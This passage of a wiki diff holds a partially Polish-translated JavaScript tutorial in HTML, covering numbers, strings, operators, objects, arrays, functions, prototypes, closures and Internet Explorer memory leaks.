+<p>Taki wynik otrzymaliśmy dlatego, że funkcja <code>parseInt</code> uznała liczbę w naszym ciągu znaków za ósemkową, bo rozpoczęliśmy ją od znaku "0".</p>
+
+<p>Jeśli chcesz skonwertować liczbę binarną do dziesiętnej, wystarczy zmienić podstawę:</p>
+
+<pre class="eval">&gt; parseInt("11", 2)
+3
+</pre>
+
+<p>Funkcja zwraca specjalną wartość <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/W%c5%82asno%c5%9bci/NaN">NaN</a></code> (skrót ang. "Not a Number" - "To nie jest liczba"), jeśli dany ciąg znaków nie jest liczbą:</p>
+
+<pre class="eval">&gt; parseInt("witaj", 10)
+NaN
+</pre>
+
+<p><code>NaN</code> jest toksyczna: wprowadzenie jej do jakiejkolwiek operacji matematycznej spowoduje, że jej wynikiem również będzie <code>NaN</code>:</p>
+
+<pre class="eval">&gt; NaN + 5
+NaN
+</pre>
+
+<p>Aby sprawdzić, czy dana wartość jest <code>NaN</code>, można użyć wbudowanej funkcji <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje/isNaN">isNaN()</a></code>:</p>
+
+<pre class="eval">&gt; isNaN(NaN)
+true
+</pre>
+
+<p>(NaN nie jest bowiem równe nawet samo sobie, <code>NaN!=NaN</code> - przyp. tłum.)</p>
+
+<p>W JavaScripcie istnieją także specjalne wartości reprezentujące plus i minus nieskończoność: <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/W%c5%82asno%c5%9bci/Infinity">Infinity</a></code> and <code>-Infinity</code>:</p>
+
+<pre class="eval">&gt; 1 / 0
+Infinity
+&gt; -1 / 0
+-Infinity
+</pre>
+
+<h3 id="Ci.C4.85gi_znak.C3.B3w" name="Ci.C4.85gi_znak.C3.B3w">Ciągi znaków</h3>
+
+<p>Teksty w JavaScripcie to sekwencje znaków. Dokładniej rzecz biorąc, są to sekwencje <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Unicode">znaków Unicode</a>, w których każdy znak reprezentowany jest przez liczbę 16-bitową. To dobra wiadomość dla wszystkich osób zajmujących się internacjonalizacją.</p>
+
+<p>Jeśli zajdzie potrzeba reprezentowania pojedynczego znaku, stosuje się po prostu ciąg o długości równej 1.</p>
+
+<p>Aby odnaleźć długość ciągu, należy skorzystać z jego własności <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/length">length</a></code>:</p>
+
+<pre class="eval">&gt; "witaj".length
+5
+</pre>
+
+<p>To nasze pierwsze spotkanie z obiektami JavaScriptu! Czy wspomniałem, że ciągi są też obiektami? Naturalnie, mają też <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String#Metody">metody</a>:</p>
+
+<pre class="eval">&gt; "witaj".charAt(0)
+w
+&gt; "witaj, świecie".replace("witaj", "do zobaczenia")
+do zobaczenia, świecie
+&gt; "witaj".toUpperCase()
+WITAJ
+</pre>
+
+<h3 id="Other_types" name="Other_types">Other types</h3>
+
+<p>JavaScript distinguishes between <code>null</code>, which is an object of type 'object' that indicates a deliberate non-value, and <code>undefined</code>, which is an object of type 'undefined' that indicates an uninitialized value — that is, a value hasn't even been assigned yet. We'll talk about variables later, but in JavaScript it is possible to declare a variable without assigning a value to it. If you do this, the variable's type is <code>undefined</code>.</p>
+
+<p>JavaScript has a boolean type, with possible values <code>true</code> and <code>false</code> (both of which are keywords). Any value can be converted to a boolean according to the following rules:</p>
+
+<ol>
+ <li><code>false</code>, <code>0</code>, the empty string (<code>""</code>), <code>NaN</code>, <code>null</code>, and <code>undefined</code> all become <code>false</code></li>
+ <li>all other values become <code>true</code></li>
+</ol>
+
+<p>You can perform this conversion explicitly using the <code>Boolean()</code> function:</p>
+
+<pre class="eval">&gt; Boolean("")
+false
+&gt; Boolean(234)
+true
+</pre>
+
+<p>However, this is rarely necessary, as JavaScript will silently perform this conversion when it expects a boolean, such as in an <code>if</code> statement (see below). For this reason, we sometimes speak simply of "true values" and "false values," meaning values that become <code>true</code> and <code>false</code>, respectively, when converted to booleans. Alternatively, such values can be called "truthy" and "falsy," respectively.</p>
+
+<p>Boolean operations such as <code>&amp;&amp;</code> (logical<em>and</em>), <code>||</code> (logical<em>or</em>), and <code>!</code> (logical<em>not</em>) are supported; see below.</p>
+
+<h3 id="Variables" name="Variables">Variables</h3>
+
+<p>New variables in JavaScript are declared using the <code><a href="pl/Core_JavaScript_1.5_Reference/Statements/var">var</a></code> keyword:</p>
+
+<pre class="eval">var a;
+var name = "simon";
+</pre>
+
+<p>If you declare a variable without assigning any value to it, its type is <code>undefined</code>. <span class="comment">should note the absence of block-scoping in JS</span></p>
+
+<h3 id="Operators" name="Operators">Operators</h3>
+
+<p>JavaScript's numeric operators are <code>+</code>, <code>-</code>, <code>*</code>, <code>/</code> and <code>%</code> - which is the remainder operator. Values are assigned using <code>=</code>, and there are also compound assignment statements such as <code>+=</code> and <code>-=</code>. These extend out to <code>x = x<em>operator</em> y</code>.</p>
+
+<pre class="eval">x += 5
+x = x + 5
+</pre>
+
+<p>You can use <code>++</code> and <code>--</code> to increment and decrement respectively. These can be used as prefix or postfix operators.</p>
+
+<p>The <a href="pl/Core_JavaScript_1.5_Reference/Operators/String_Operators"><code>+</code> operator</a> also does string concatenation:</p>
+
+<pre class="eval">&gt; "hello" + " world"
+hello world
+</pre>
+
+<p>If you add a string to a number (or other value) everything is converted in to a string first. This might catch you out:</p>
+
+<pre class="eval">&gt; "3" + 4 + 5
+345
+&gt; 3 + 4 + "5"
+75
+</pre>
+
+<p>Adding an empty string to something is a useful way of converting it.</p>
+
+<p><a href="pl/Core_JavaScript_1.5_Reference/Operators/Comparison_Operators">Comparisons</a> in JavaScript can be made using <code>&lt;</code>, <code>&gt;</code>, <code>&lt;=</code> and <code>&gt;=</code>. These work for both strings and numbers. Equality is a little less straightforward. The double-equals operator performs type coercion if you give it different types, with sometimes interesting results:</p>
+
+<pre class="eval">&gt; "dog" == "dog"
+true
+&gt; 1 == true
+true
+</pre>
+
+<p>To avoid type coercion, use the triple-equals operator:</p>
+
+<pre class="eval">&gt; 1 === true
+false
+&gt; true === true
+true
+</pre>
+
+<p>There are also <code>!=</code> and <code>!==</code> operators.</p>
+
+<p>JavaScript also has <a href="pl/Core_JavaScript_1.5_Reference/Operators/Bitwise_Operators">bitwise operations</a>. If you want to use them, they're there.</p>
+
+<h3 id="Control_structures" name="Control_structures">Control structures</h3>
+
+<p>JavaScript has a similar set of control structures to other languages in the C family. Conditional statements are supported by <code>if</code> and <code>else</code>; you can chain them together if you like:</p>
+
+<pre class="eval">var name = "kittens";
+if (name == "puppies") {
+ name += "!";
+} else if (name == "kittens") {
+ name += "!!";
+} else {
+ name = "!" + name;
+}
+name == "kittens!!"
+</pre>
+
+<p>JavaScript has <code>while</code> loops and <code>do-while</code> loops. The first is good for basic looping; the second for loops where you wish to ensure that the body of the loop is executed at least once:</p>
+
+<pre class="eval">while (true) {
+ // an infinite loop!
+}
+
+do {
+ var input = get_input();
+} while (inputIsNotValid(input))
+</pre>
+
+<p>JavaScript's <code>for</code> loop is the same as that in C and Java: it lets you provide the control information for your loop on a single line.</p>
+
+<pre class="eval">for (var i = 0; i &lt; 5; i++) {
+ // Will execute 5 times
+}
+</pre>
+
+<p>The <code>&amp;&amp;</code> and <code>||</code> operators use short-circuit logic, which means whether they will execute their second operand is dependent on the first. This is useful for checking for null objects before accessing their attributes:</p>
+
+<pre class="eval">var name = o &amp;&amp; o.getName();
+</pre>
+
+<p>Or for setting default values:</p>
+
+<pre class="eval">var name = otherName || "default";
+</pre>
+
+<p>JavaScript has a tertiary operator for one-line conditional statements:</p>
+
+<pre class="eval">var allowed = (age &gt; 18) ? "yes" : "no";
+</pre>
+
+<p>The switch statement can be used for multiple branches based on a number or string:</p>
+
+<pre class="eval">switch(action) {
+ case 'draw':
+ drawit();
+ break;
+ case 'eat':
+ eatit();
+ break;
+ default:
+ donothing();
+}
+</pre>
+
+<p>If you don't add a <code>break</code> statement, execution will "fall through" to the next level. This is very rarely what you want - in fact it's worth specifically labelling deliberate fallthrough with a comment if you really meant it to aid debugging:</p>
+
+<pre class="eval">switch(a) {
+ case 1: // fallthrough
+ case 2:
+ eatit();
+ break;
+ default:
+ donothing();
+}
+</pre>
+
+<p>The default clause is optional. You can have expressions in both the switch part and the cases if you like; comparisons take place between the two using the <code>===</code> operator:</p>
+
+<pre class="eval">switch(1 + 3):
+ case 2 + 2:
+ yay();
+ break;
+ default:
+ neverhappens();
+}
+</pre>
+
+<h3 id="Objects" name="Objects">Objects</h3>
+
+<p>JavaScript objects are simply collections of name-value pairs. As such, they are similar to:</p>
+
+<ul>
+ <li>Dictionaries in Python</li>
+ <li>Hashes in Perl and Ruby</li>
+ <li>Hash tables in C and C++</li>
+ <li>HashMaps in Java</li>
+ <li>Associative arrays in PHP</li>
+</ul>
+
+<p>The fact that this data structure is so widely used is a testament to its versatility. Since everything (bar core types) in JavaScript is an object, any JavaScript program naturally involves a great deal of hash table lookups. It's a good thing they're so fast!</p>
+
+<p>The "name" part is a JavaScript string, while the value can be any JavaScript value - including more objects. This allows you to build data structures of arbitrary complexity.</p>
+
+<p>There are two basic ways to create an empty object:</p>
+
+<pre class="eval">var obj = new Object();
+</pre>
+
+<p>And:</p>
+
+<pre class="eval">var obj = {};
+</pre>
+
+<p>These are semantically equivalent; the second is called object literal syntax, and is more convenient. Object literal syntax was not present in very early versions of the language which is why you see so much code using the old method.</p>
+
+<p>Once created, an object's properties can again be accessed in one of two ways:</p>
+
+<pre class="eval">obj.name = "Simon"
+var name = obj.name;
+</pre>
+
+<p>And...</p>
+
+<pre class="eval">obj["name"] = "Simon";
+var name = obj["name"];
+</pre>
+
+<p>These are also semantically equivalent. The second method has the advantage that the name of the property is provided as a string, which means it can be calculated at run-time. It can also be used to set and get properties with names that are <a href="pl/Core_JavaScript_1.5_Reference/Reserved_Words">reserved words</a>:</p>
+
+<pre class="eval">obj.for = "Simon"; // Syntax error, because 'for' is a reserved word
+obj["for"] = "Simon"; // works fine
+</pre>
+
+<p>Object literal syntax can be used to initialise an object in its entirety:</p>
+
+<pre class="eval">var obj = {
+ name: "Carrot",
+ "for": "Max",
+ details: {
+ color: "orange",
+ size: 12
+ }
+}
+</pre>
+
+<p>Attribute access can be chained together:</p>
+
+<pre class="eval">&gt; obj.details.color
+orange
+&gt; obj["details"]["size"]
+12
+</pre>
+
+<h3 id="Arrays" name="Arrays">Arrays</h3>
+
+<p>Arrays in JavaScript are actually a special type of object. They work very much like regular objects (numerical properties can naturally be accessed only using [] syntax) but they have one magic property called '<code>length</code>'. This is always one more than the highest index in the array.</p>
+
+<p>The old way of creating arrays is as follows:</p>
+
+<pre class="eval">&gt; var a = new Array();
+&gt; a[0] = "dog";
+&gt; a[1] = "cat";
+&gt; a[2] = "hen";
+&gt; a.length
+3
+</pre>
+
+<p>A more convenient notation is to use an array literal:</p>
+
+<pre class="eval">&gt; var a = ["dog", "cat", "hen"];
+&gt; a.length
+3
+</pre>
+
+<p>Leaving a trailing comma at the end of an array literal is inconsistent across browsers, so don't do it.</p>
+
+<p>Note that <code>array.length</code> isn't necessarily the number of items in the array. Consider the following:</p>
+
+<pre class="eval">&gt; var a = ["dog", "cat", "hen"];
+&gt; a[100] = "fox";
+&gt; a.length
+101
+</pre>
+
+<p>Remember - the length of the array is one more than the highest index.</p>
+
+<p>If you query a non-existent array index, you get <code>undefined</code>:</p>
+
+<pre class="eval">&gt; typeof(a[90])
+undefined
+</pre>
+
+<p>If you take the above into account, you can iterate over an array using the following:</p>
+
+<pre class="eval">for (var i = 0; i &lt; a.length; i++) {
+ // Do something with a[i]
+}
+</pre>
+
+<p>This is slightly inefficient as you are looking up the length property once every loop. An improvement is this:</p>
+
+<pre class="eval">for (var i = 0, len = a.length; i &lt; len; i++) {
+ // Do something with a[i]
+}
+</pre>
+
+<p>An even nicer idiom is:</p>
+
+<pre class="eval">for (var i = 0, item; item = a[i]; i++) {
+ // Do something with item
+}
+</pre>
+
+<p>Here we are setting up two variables. The assignment in the middle part of the <code>for</code> loop is also tested for truthfulness - if it succeeds, the loop continues. Since <code>i</code> is incremented each time, items from the array will be assigned to item in sequential order. The loop stops when a "falsy" item is found (such as <code>undefined</code>).</p>
+
+<p>Note that this trick should only be used for arrays which you know do not contain "falsy" values (arrays of objects or <a href="pl/DOM">DOM</a> nodes for example). If you are iterating over numeric data that might include a 0 or string data that might include the empty string you should use the <code>i, j</code> idiom instead.</p>
+
+<p>Another way to iterate is to use the <code><a href="pl/Core_JavaScript_1.5_Reference/Statements/for...in">for...in</a></code> loop. Note that if someone added new properties to <code>Array.prototype</code>, they will also be iterated over by this loop:</p>
+
+<pre class="eval">for (var i in a) {
+ // Do something with a[i]
+}
+</pre>
+
+<p>If you want to append an item to an array, the safest way to do it is like this:</p>
+
+<pre class="eval">a[a.length] = item; // same as a.push(item);
+</pre>
+
+<p>Since <code>a.length</code> is one more than the highest index, you can be assured that you are assigning to an empty position at the end of the array.</p>
+
+<p>Arrays come with a number of methods:</p>
+
+<pre class="eval">a.toString(), a.toLocaleString(), a.concat(item, ..), a.join(sep),
+a.pop(), a.push(item, ..), a.reverse(), a.shift(), a.slice(start, end),
+a.sort(cmpfn), a.splice(start, delcount, [item]..), a.unshift([item]..)
+</pre>
+
+<ul>
+ <li><code>concat</code> returns a new array with the items added on to it.</li>
+ <li><code>pop</code> removes and returns the last item</li>
+ <li><code>push</code> adds one or more items to the end (like our <code>ar{{ mediawiki.external('ar.length') }}</code> idiom)</li>
+ <li><code>slice</code> returns a sub-array</li>
+ <li><code>sort</code> takes an optional comparison function</li>
+ <li><code>splice</code> lets you modify an array by deleting a section and replacing it with more items</li>
+ <li><code>unshift</code> prepends items to the start of the array</li>
+</ul>
+
+<h3 id="Functions" name="Functions">Functions</h3>
+
+<p>Along with objects, functions are the core component in understanding JavaScript. The most basic function couldn't be much simpler:</p>
+
+<pre class="eval">function add(x, y) {
+ var total = x + y;
+ return total;
+}
+</pre>
+
+<p>This demonstrates everything there is to know about basic functions. A JavaScript function can take 0 or more named parameters. The function body can contain as many statements as you like, and can declare its own variables which are local to that function. The <code>return</code> statement can be used to return a value at any time, terminating the function. If no return statement is used (or an empty return with no value), JavaScript returns <code>undefined</code>.</p>
+
+<p>The named parameters turn out to be more like guidelines than anything else. You can call a function without passing the parameters it expects, in which case they will be set to <code>undefined</code>.</p>
+
+<pre class="eval">&gt; add()
+NaN // You can't perform addition on undefined
+</pre>
+
+<p>You can also pass in more arguments than the function is expecting:</p>
+
+<pre class="eval">&gt; add(2, 3, 4)
+5 // added the first two; 4 was ignored
+</pre>
+
+<p>That may seem a little silly, but functions have access to an additional variable inside their body called <a href="pl/Core_JavaScript_1.5_Reference/Functions/arguments"><code>arguments</code></a>, which is an array-like object holding all of the values passed to the function. Let's re-write the add function to take as many values as we want:</p>
+
+<pre class="eval">function add() {
+ var sum = 0;
+ for (var i = 0, j = arguments.length; i &lt; j; i++) {
+ sum += arguments[i];
+ }
+ return sum;
+}
+
+&gt; add(2, 3, 4, 5)
+14
+</pre>
+
+<p>That's really not any more useful than writing <code>2 + 3 + 4 + 5</code> though. Let's create an averaging function:</p>
+
+<pre class="eval">function avg() {
+ var sum = 0;
+ for (var i = 0, j = arguments.length; i &lt; j; i++) {
+ sum += arguments[i];
+ }
+ return sum / arguments.length;
+}
+&gt; avg(2, 3, 4, 5)
+3.5
+</pre>
+
+<p>This is pretty useful, but introduces a new problem. The <code>avg()</code> function takes a comma separated list of arguments - but what if you want to find the average of an array? You could just rewrite the function as follows:</p>
+
+<pre class="eval">function avgArray(arr) {
+ var sum = 0;
+ for (var i = 0, j = arr.length; i &lt; j; i++) {
+ sum += arr[i];
+ }
+ return sum / arr.length;
+}
+&gt; avgArray([2, 3, 4, 5])
+3.5
+</pre>
+
+<p>But it would be nice to be able to reuse the function that we've already created. Luckily, JavaScript lets you call a function and call it with an arbitrary array of arguments, using the <a href="pl/Core_JavaScript_1.5_Reference/Global_Objects/Function/apply"><code>apply()</code></a> method of any function object.</p>
+
+<pre class="eval">&gt; avg.apply(null, [2, 3, 4, 5])
+3.5
+</pre>
+
+<p>The second argument to <code>apply()</code> is the array to use as arguments; the first will be discussed later on. This emphasizes the fact that functions are objects too.</p>
+
+<p>JavaScript lets you create anonymous functions.</p>
+
+<pre class="eval">var avg = function() {
+ var sum = 0;
+ for (var i = 0, j = arguments.length; i &lt; j; i++) {
+ sum += arguments[i];
+ }
+ return sum / arguments.length;
+}
+</pre>
+
+<p>This is semantically equivalent to the <code>function avg()</code> form. It's extremely powerful, as it lets you put a full function definition anywhere that you would normally put an expression. This enables all sorts of clever tricks. Here's a way of "hiding" some local variables - like block scope in C:</p>
+
+<pre class="eval">&gt; var a = 1;
+&gt; var b = 2;
+&gt; (function() {
+ var b = 3;
+ a += b;
+})();
+&gt; a
+4
+&gt; b
+2
+</pre>
+
+<p>JavaScript allows you to call functions recursively. This is particularly useful for dealing with tree structures, such as you get in the browser <a href="pl/DOM">DOM</a>.</p>
+
+<pre class="eval">function countChars(elm) {
+ if (elm.nodeType == 3) { // TEXT_NODE
+ return elm.nodeValue.length;
+ }
+ var count = 0;
+ for (var i = 0, child; child = elm.childNodes[i]; i++) {
+ count += countChars(child);
+ }
+ return count;
+}
+</pre>
+
+<p>This highlights a potential problem with anonymous functions: how do you call them recursively if they don't have a name? The answer lies with the <code>arguments</code> object, which in addition to acting as a list of arguments also provides a property called <code>arguments.callee</code>. This always refers to the current function, and hence can be used to make recursive calls:</p>
+
+<pre class="eval">var charsInBody = (function(elm) {
+ if (elm.nodeType == 3) { // TEXT_NODE
+ return elm.nodeValue.length;
+ }
+ var count = 0;
+ for (var i = 0, child; child = elm.childNodes[i]; i++) {
+ count += arguments.callee(child);
+ }
+ return count;
+})(document.body);
+</pre>
+
+<p>Since <code>arguments.callee</code> is the current function, and all functions are objects, you can use <code>arguments.callee</code> to save information across multiple calls to the same function. Here's a function that remembers how many times it has been called:</p>
+
+<pre class="eval">function counter() {
+ if (!arguments.callee.count) {
+ arguments.callee.count = 0;
+ }
+ return arguments.callee.count++;
+}
+
+&gt; counter()
+0
+&gt; counter()
+1
+&gt; counter()
+2
+</pre>
+
+<h3 id="Custom_objects" name="Custom_objects">Custom objects</h3>
+
+<p>In classic Object Oriented Programming, objects are collections of data and methods that operate on that data. Let's consider a person object with first and last name fields. There are two ways in which their name might be displayed: as "first last" or as "last, first". Using the functions and objects that we've discussed previously, here's one way of doing it:</p>
+
+<pre class="eval">function makePerson(first, last) {
+ return {
+ first: first,
+ last: last
+ }
+}
+function personFullName(person) {
+ return person.first + ' ' + person.last;
+}
+function personFullNameReversed(person) {
+ return person.last + ', ' + person.first
+}
+&gt; s = makePerson("Simon", "Willison");
+&gt; personFullName(s)
+Simon Willison
+&gt; personFullNameReversed(s)
+Willison, Simon
+</pre>
+
+<p>This works, but it's pretty ugly. You end up with dozens of functions in your global namespace. What we really need is a way to attach a function to an object. Since functions are objects, this is easy:</p>
+
+<pre class="eval">function makePerson(first, last) {
+ return {
+ first: first,
+ last: last,
+ fullName: function() {
+ return this.first + ' ' + this.last;
+ },
+ fullNameReversed: function() {
+ return this.last + ', ' + this.first;
+ }
+ }
+}
+&gt; s = makePerson("Simon", "Willison")
+&gt; s.fullName()
+Simon Willison
+&gt; s.fullNameReversed()
+Willison, Simon
+</pre>
+
+<p>There's something here we haven't seen before: the '<code><a href="pl/Core_JavaScript_1.5_Reference/Operators/Special_Operators/this_Operator">this</a></code>' keyword. Used inside a function, '<code>this</code>' refers to the current object. What that actually means is specified by the way in which you called that function. If you called it using <a href="pl/Core_JavaScript_1.5_Reference/Operators/Member_Operators">dot notation or bracket notation</a> on an object, that object becomes '<code>this</code>'. If dot notation wasn't used for the call, '<code>this</code>' refers to the global object. This is a frequent cause of mistakes. For example:</p>
+
+<pre class="eval">&gt; s = makePerson("Simon", "Willison")
+&gt; var fullName = s.fullName;
+&gt; fullName()
+undefined undefined
+</pre>
+
+<p>When we call <code>fullName()</code>, '<code>this</code>' is bound to the global object. Since there are no global variables called <code>first</code> or <code>last</code> we get <code>undefined</code> for each one.</p>
+
+<p>We can take advantage of the '<code>this</code>' keyword to improve our <code>makePerson</code> function:</p>
+
+<pre class="eval">function Person(first, last) {
+ this.first = first;
+ this.last = last;
+ this.fullName = function() {
+ return this.first + ' ' + this.last;
+ }
+ this.fullNameReversed = function() {
+ return this.last + ', ' + this.first;
+ }
+}
+var s = new Person("Simon", "Willison");
+</pre>
+
+<p>We've introduced another keyword: '<code><a href="pl/Core_JavaScript_1.5_Reference/Operators/Special_Operators/new_Operator">new</a></code>'. <code>new</code> is strongly related to '<code>this</code>'. What it does is it creates a brand new empty object, and then calls the function specified, with '<code>this</code>' set to that new object. Functions that are designed to be called by '<code>new</code>' are called constructor functions. Common practise is to capitalise these functions as a reminder to call them with <code>new</code>.</p>
+
+<p>Our person objects are getting better, but there are still some ugly edges to them. Every time we create a person object we are creating two brand new function objects within it - wouldn't it be better if this code was shared?</p>
+
+<pre class="eval">function personFullName() {
+ return this.first + ' ' + this.last;
+}
+function personFullNameReversed() {
+ return this.last + ', ' + this.first;
+}
+function Person(first, last) {
+ this.first = first;
+ this.last = last;
+ this.fullName = personFullName;
+ this.fullNameReversed = personFullNameReversed;
+}
+</pre>
+
+<p>That's better: we are creating the method functions only once, and assigning references to them inside the constructor. Can we do any better than that? The answer is yes:</p>
+
+<pre class="eval">function Person(first, last) {
+ this.first = first;
+ this.last = last;
+}
+Person.prototype.fullName = function() {
+ return this.first + ' ' + this.last;
+}
+Person.prototype.fullNameReversed = function() {
+ return this.last + ', ' + this.first;
+}
+</pre>
+
+<p><code>Person.prototype</code> is an object shared by all instances of <code>Person</code>. It forms part of a lookup chain (that has a special name, "prototype chain"): any time you attempt to access a property of <code>Person</code> that isn't set, JavaScript will check <code>Person.prototype</code> to see if that property exists there instead. As a result, anything assigned to <code>Person.prototype</code> becomes available to all instances of that constructor via the <code>this</code> object.</p>
+
+<p>This is an incredibly powerful tool. JavaScript lets you modify something's prototype at any time in your program, which means you can add extra methods to existing objects at runtime:</p>
+
+<pre class="eval">&gt; s = new Person("Simon", "Willison");
+&gt; s.firstNameCaps();
+TypeError on line 1: s.firstNameCaps is not a function
+&gt; Person.prototype.firstNameCaps = function() {
+ return this.first.toUpperCase()
+}
+&gt; s.firstNameCaps()
+SIMON
+</pre>
+
+<p>Interestingly, you can also add things to the prototype of built-in JavaScript objects. Let's add a method to <code>String</code> that returns that string in reverse:</p>
+
+<pre class="eval">&gt; var s = "Simon";
+&gt; s.reversed()
+TypeError on line 1: s.reversed is not a function
+&gt; String.prototype.reversed = function() {
+ var r = "";
+ for (var i = this.length - 1; i &gt;= 0; i--) {
+ r += this[i];
+ }
+ return r;
+}
+&gt; s.reversed()
+nomiS
+</pre>
+
+<p>Our new method even works on string literals!</p>
+
+<pre class="eval">&gt; "This can now be reversed".reversed()
+desrever eb won nac sihT
+</pre>
+
+<p>As I mentioned before, the prototype forms part of a chain. The root of that chain is <code>Object.prototype</code>, whose methods include <code>toString()</code> - it is this method that is called when you try to represent an object as a string. This is useful for debugging our <code>Person</code> objects:</p>
+
+<pre class="eval">&gt; var s = new Person("Simon", "Willison");
+&gt; s
+[object Object]
+&gt; Person.prototype.toString = function() {
+ return '&lt;Person: ' + this.fullName() + '&gt;';
+}
+&gt; s
+&lt;Person: Simon Willison&gt;
+</pre>
+
+<p>Remember how <code>avg.apply()</code> had a null first argument? We can revisit that now. The first argument to <code>apply()</code> is the object that should be treated as '<code>this</code>'. For example, here's a trivial implementation of '<code>new</code>':</p>
+
+<pre class="eval">function trivialNew(constructor) {
+ var o = {}; // Create an object
+ constructor.apply(o, arguments);
+ return o;
+}
+</pre>
+
+<p>This isn't an exact replica of <code>new</code> as it doesn't set up the prototype chain. <code>apply()</code> is difficult to illustrate - it's not something you use very often, but it's useful to know about.</p>
+
+<p><code>apply()</code> has a sister function named <a href="pl/Core_JavaScript_1.5_Reference/Global_Objects/Function/call"><code>call</code></a>, which again lets you set '<code>this</code>' but takes an expanded argument list as opposed to an array.</p>
+
+<pre class="eval">function lastNameCaps() {
+ return this.last.toUpperCase();
+}
+var s = new Person("Simon", "Willison");
+lastNameCaps.call(s);
+// Is the same as:
+s.lastNameCaps = lastNameCaps;
+s.lastNameCaps();
+</pre>
+
+<h3 id="Inner_functions" name="Inner_functions">Inner functions</h3>
+
+<p>JavaScript function declarations are allowed inside other functions. We've seen this once before, with an earlier <code>makePerson()</code> function. An important detail of nested functions in JavaScript is that they can access variables in their parent function's scope:</p>
+
+<pre class="eval">function betterExampleNeeded() {
+ var a = 1;
+ function oneMoreThanA() {
+ return a + 1;
+ }
+ return oneMoreThanA();
+}
+</pre>
+
+<p>This provides a great deal of utility in writing more maintainable code. If a function relies on one or two other functions that are not useful to any other part of your code, you can nest those utility functions inside the function that will be called from elsewhere. This keeps the number of functions that are in the global scope down, which is always a good thing.</p>
+
+<p>This is also a great counter to the lure of global variables. When writing complex code it is often tempting to use global variables to share values between multiple functions - which leads to code that is hard to maintain. Nested functions can share variables in their parent, so you can use that mechanism to couple functions together when it makes sense without polluting your global namespace - 'local globals' if you like. This technique should be used with caution, but it's a useful ability to have.</p>
+
+<h3 id="Closures" name="Closures">Closures</h3>
+
+<p>This leads us to one of the most powerful abstractions that JavaScript has to offer - but also the most potentially confusing. What does this do?</p>
+
+<pre class="eval">function makeAdder(a) {
+ return function(b) {
+ return a + b;
+ }
+}
+x = makeAdder(5);
+y = makeAdder(20);
+x(6)
+?
+y(7)
+?
+</pre>
+
+<p>The name of the <code>makeAdder</code> function should give it away: it creates new 'adder' functions, which when called with one argument add it to the argument that they were created with.</p>
+
+<p>What's happening here is pretty much the same as was happening with the inner functions earlier on: a function defined inside another function has access to the outer function's variables. The only difference here is that the outer function has returned, and hence common sense would seem to dictate that its local variables no longer exist. But they<em>do</em> still exist - otherwise the adder functions would be unable to work. What's more, there are two different "copies" of <code>makeAdder</code>'s local variables - one in which <code>a</code> is 5 and one in which <code>a</code> is 20.</p>
+
+<p>Here's what's actually happening. Whenever JavaScript executes a function, a 'scope' object is created to hold the local variables created within that function. It is initialised with any variables passed in as function parameters. This is similar to the global object that all global variables and functions live in, but with a couple of important differences: firstly, a brand new scope object is created every time a function starts executing, and secondly, unlike the global object (which in browsers is accessible as window) these scope objects cannot be directly accessed from your JavaScript code. There is no mechanism for iterating over the properties of the current scope object for example.</p>
+
+<p>So when <code>makeAdder</code> is called, a scope object is created with one property: <code>a</code>, which is the argument passed to the <code>makeAdder</code> function. <code>makeAdder</code> then returns a newly created function. Normally JavaScript's garbage collector would clean up the scope object created for <code>makeAdder</code> at this point, but the returned function maintains a reference back to that scope object. As a result, the scope object will not be garbage collected until there are no more references to the function object that <code>makeAdder</code> returned.</p>
+
+<p>Scope objects form a chain called the scope chain, similar to the prototype chain used by JavaScript's object system.</p>
+
+<p>A closure is the combination of a function and the scope object in which it was created.</p>
+
+<p>Closures let you save state - as such, they can often be used in place of objects.</p>
+
+<h3 id="Memory_leaks" name="Memory_leaks">Memory leaks</h3>
+
+<p>An unfortunate side effect of closures is that they make it trivially easy to leak memory in Internet Explorer. JavaScript is a garbage collected language - objects are allocated memory upon their creation and that memory is reclaimed by the browser when no references to an object remain. Objects provided by the host environment are handled by that environment.</p>
+
+<p>Browser hosts need to manage a large number of objects representing the HTML page being presented - the objects of the <a href="pl/DOM">DOM</a>. It is up to the browser to manage the allocation and recovery of these.</p>
+
+<p>Internet Explorer uses its own garbage collection scheme for this, separate from the mechanism used by JavaScript. It is the interaction between the two that can cause memory leaks.</p>
+
+<p>A memory leak in IE occurs any time a circular reference is formed between a JavaScript object and a native object. Consider the following:</p>
+
+<pre class="eval">function leakMemory() {
+ var el = document.getElementById('el');
+ var o = { 'el': el };
+ el.o = o;
+}
+</pre>
+
+<p>The circular reference formed above creates a memory leak; IE will not free the memory used by <code>el</code> and <code>o</code> until the browser is completely restarted.</p>
+
+<p>The above case is likely to go unnoticed; memory leaks only become a real concern in long running applications or applications that leak large amounts of memory due to large data structures or leak patterns within loops.</p>
+
+<p>Leaks are rarely this obvious - often the leaked data structure can have many layers of references, obscuring the circular reference.</p>
+
+<p>Closures make it easy to create a memory leak without meaning to. Consider this:</p>
+
+<pre class="eval">function addHandler() {
+ var el = document.getElementById('el');
+ el.onclick = function() {
+ this.style.backgroundColor = 'red';
+ }
+}
+</pre>
+
+<p>The above code sets up the element to turn red when it is clicked. It also creates a memory leak. Why? Because the reference to <code>el</code> is inadvertently caught in the closure created for the anonymous inner function. This creates a circular reference between a JavaScript object (the function) and a native object (<code>el</code>).</p>
+
+<p>There are a number of workarounds for this problem. The simplest is this:</p>
+
+<pre class="eval">function addHandler() {
+ var el = document.getElementById('el');
+ el.onclick = function() {
+ this.style.backgroundColor = 'red';
+ }
+ el = null;
+}
+</pre>
+
+<p>This works by breaking the circular reference.</p>
+
+<p>Surprisingly, one trick for breaking circular references introduced by a closure is to add another closure:</p>
+
+<pre class="eval">function addHandler() {
+ var clickHandler = function() {
+ this.style.backgroundColor = 'red';
+ }
+ (function() {
+ var el = document.getElementById('el');
+ el.onclick = clickHandler;
+ })();
+}
+</pre>
+
+<p>The inner function is executed straight away, and hides its contents from the closure created with <code>clickHandler</code>.</p>
+
+<p>Another good trick for avoiding closures is breaking circular references during the <code>window.onunload</code> event. Many event libraries will do this for you. Note that doing so disables <a href="pl/Using_Firefox_1.5_caching">bfcache in Firefox 1.5</a>, so you should not register an <code>unload</code> listener in Firefox, unless you have other reasons to do so.</p>
+
+<div class="originaldocinfo">
